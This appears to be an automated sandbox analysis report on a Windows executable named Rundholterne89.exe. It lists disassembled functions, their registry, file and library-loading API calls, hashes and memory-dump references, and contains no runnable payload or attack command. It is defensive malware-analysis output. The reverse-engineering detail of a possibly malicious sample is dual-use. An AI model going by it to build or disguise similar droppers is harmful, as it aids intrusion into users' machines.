
Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: fa6371b051929d11490b6b0237e04c3ddcee680ab82e9b2704d90c07df1b053f
Instruction ID: 17c2ba3ee0df36fac51d80065c7f5b12f0089491b6a7036ff5f4409f8054ee18
Opcode Fuzzy Hash: fa6371b051929d11490b6b0237e04c3ddcee680ab82e9b2704d90c07df1b053f
Instruction Fuzzy Hash: 3A014031904114EBEF11AFA1CD8999F7B76EF00358F10817BF601B62E1C7795A419B9A

Function 00402410 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B6C

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 00402440
RegCloseKey.ADVAPI32(?,?,?,00409C10,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: ec8dd42a2d0ea345b8cd5bbdd5168a1da3feeb0db291650b5b2d283f8041d553
Instruction ID: 7890893f0b843e6db6fa7552cbbd45c8f95600c1d4b4a320ca67a90271c7f2f1
Opcode Fuzzy Hash: ec8dd42a2d0ea345b8cd5bbdd5168a1da3feeb0db291650b5b2d283f8041d553
Instruction Fuzzy Hash: 4511A771905205EFDF14DF64CA889AEBBB4EF15348F20443FE542B72C0D2B84A45DB6A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: f3c75b006a08d566646381a99556231751fdd45880b457440c556b6d1843a041
Instruction ID: 5e1477e87fe007c5129b9736e49814af818948606251066a5de5a0362d6646fb
Opcode Fuzzy Hash: f3c75b006a08d566646381a99556231751fdd45880b457440c556b6d1843a041
Instruction Fuzzy Hash: DC012831B242109BE7295B389C04B6A369CE710319F51863BF811F72F1D678EC02CB4D

Function 00402308 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B6C

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402327
RegCloseKey.ADVAPI32(00000000), ref: 00402330

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 0df6b1a3f6ceee7d43e4221d77fb77a885781458b791b3427230b76ffe70b956
Instruction ID: 0b5ea08ab0382a988395d3fa8ff755f3119953e7a6b53afab80e2150babb3da0
Opcode Fuzzy Hash: 0df6b1a3f6ceee7d43e4221d77fb77a885781458b791b3427230b76ffe70b956
Instruction Fuzzy Hash: E9F04433A00110ABEB10BBA48A4EAAE72699B54344F14443BF201B71C1D9BD4D12966D

Function 00401A03 Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A16
lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A29

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: EnvironmentExpandStringslstrcmp
String ID:
API String ID: 1938659011-0
Opcode ID: 8d5237d9befea95f927a2a949abdd38ff93adcf4596b0f884109541de8077415
Instruction ID: c697d808c4e59c81b2ccde1a948b82941deecacae3b345ad39c5db03ab9efa89
Opcode Fuzzy Hash: 8d5237d9befea95f927a2a949abdd38ff93adcf4596b0f884109541de8077415
Instruction Fuzzy Hash: 48F08231B05240DBDB20DF659D45A9B7FA8EFA1355B10443BF145F6191D2388542DB29

Function 004060C8 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403179,00000009), ref: 004060DA
GetProcAddress.KERNEL32(00000000,?), ref: 004060F5

Part of subcall function 0040605A: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406071
Part of subcall function 0040605A: wsprintfA.USER32 ref: 004060AA
Part of subcall function 0040605A: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 004060BE

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction ID: 98ccb2102d83f5f685579eea27cf19d97b4e550a260e46f586538f412ce47dd7
Opcode Fuzzy Hash: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
Instruction Fuzzy Hash: 19E08632644111ABD320A7749D0493B72A89E85740302483EF506F2181DB38DC21A669

Function 004059A2 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\Rundholterne89.exe,80000000,00000003), ref: 004059A6
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059C8

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction ID: 2848333a8a5b20597e43067d17cc290ce391feab13c7f73248cb22e1b8f9cacf
Opcode Fuzzy Hash: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
Instruction Fuzzy Hash: 5CD09E31658301AFEF098F20DD16F2EBAA2EB84B01F10962CBA82950E0D6755C159B26

Function 0040597D Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,00405595,?,?,00000000,00405778,?,?,?,?), ref: 00405982
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405996

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction ID: d845d86c17b980f18525549d7b015dd21524309b6d76b06211fdae883a44da1e
Opcode Fuzzy Hash: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction Fuzzy Hash: DED01272908121BFC2102728ED0C89FBF65EB543727018B31FDB9E22F0D7304C568AA6

Function 0040548B Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00403102,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032FF), ref: 00405491
GetLastError.KERNEL32 ref: 0040549F

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction ID: a4c09d903a68db5e1e5a8a61abb96ed160ccf8e5b17bdb7d1f8a9ed05c9a91ae
Opcode Fuzzy Hash: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction Fuzzy Hash: 9FC04C30629541EADA515B209E097577E54AB50742F2045756606E10E0D6349551D92E

Function 00402B44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B6C

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 08f437b6b575c0d1784f99ac72875e6d7de6160551833be987b148fec970e4e7
Instruction ID: d438f0a484ed9c160f568b140fbb6a6f0821f4cba08bd088e2e240e06c4f75a3
Opcode Fuzzy Hash: 08f437b6b575c0d1784f99ac72875e6d7de6160551833be987b148fec970e4e7
Instruction Fuzzy Hash: 5FE04676240208AFDB00EFA9ED4AFA637ECBB18705F008425B609E60A1C678E5508B69

Function 00405A49 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040307A,00000000,00414420,000000FF,00414420,000000FF,000000FF,00000004,00000000), ref: 00405A5D

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: 4baa6dbb94b5aed14ede1987b2b874979685841cdf923a54f3be7db8892ddb6c
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: 65E0EC3265425EAFDF109E659C40EEB7BACEB053A0F008933F925E2150D231E821DFA9

Function 00405A1A Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004030C4,00000000,00000000,00402EEE,000000FF,00000004,00000000,00000000,00000000), ref: 00405A2E

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction ID: b949637607fe9c5fc006a161b6664aa16a088e5f06d71f7b71a40b2ab1c7b417
Opcode Fuzzy Hash: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction Fuzzy Hash: 80E0EC3261425AABDF109E959C40FEB7B6CEF45360F048532F915E6590E231E8219FA9

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 458389e1991e1a908742f437881805813113f4244f4ccb02aaaba390b89fa544
Instruction ID: 6a3e57155666377f6ae5a5c5a230e2cf9c2db004969d7e98ca1d37c028e4fb03
Opcode Fuzzy Hash: 458389e1991e1a908742f437881805813113f4244f4ccb02aaaba390b89fa544
Instruction Fuzzy Hash: A2D05B33B14100DBDB10EBE5DF08A9D73A5BB60329B308637D201F21D1D7B9C9559B29

Function 00403F60 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010494,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1e62087203bf6f43f0c9384ee7a624a046e3022ab191d81d5448d2709a656daf
Instruction ID: 75b6af85c7b4550c46e72781509667ec0f8baecc0ee27a44b040c7e6c7b1aa08
Opcode Fuzzy Hash: 1e62087203bf6f43f0c9384ee7a624a046e3022ab191d81d5448d2709a656daf
Instruction Fuzzy Hash: 1FC04875B88201BAEE218B609D4AF167BA8AB60B42F258429B211E60E0C674F410DA2D

Function 00403F49 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403D7A), ref: 00403F57

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402530784.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Rundholterne89.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d71ad897c2f2d45ed447b95b395c8a164bb0c93204989444b513c5694a0ce339
Instruction ID: 9ba269cb94747afcd00db45940492297b6475019a1e9eeef8f710f25602b24aa
Opcode Fuzzy Hash: d71ad897c2f2d45ed447b95b395c8a164bb0c93204989444b513c5694a0ce339
Instruction Fuzzy Hash: 71B01235684200BBFE325B00DE0DF457E62F768701F008034B300250F1C7B200A2DB29

Function 004030C7 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E2D,?), ref: 004030D5

Memory Dump Source

Source File: 00000000.00000002.1402358709.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1402334549.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402388682.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1402408602.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
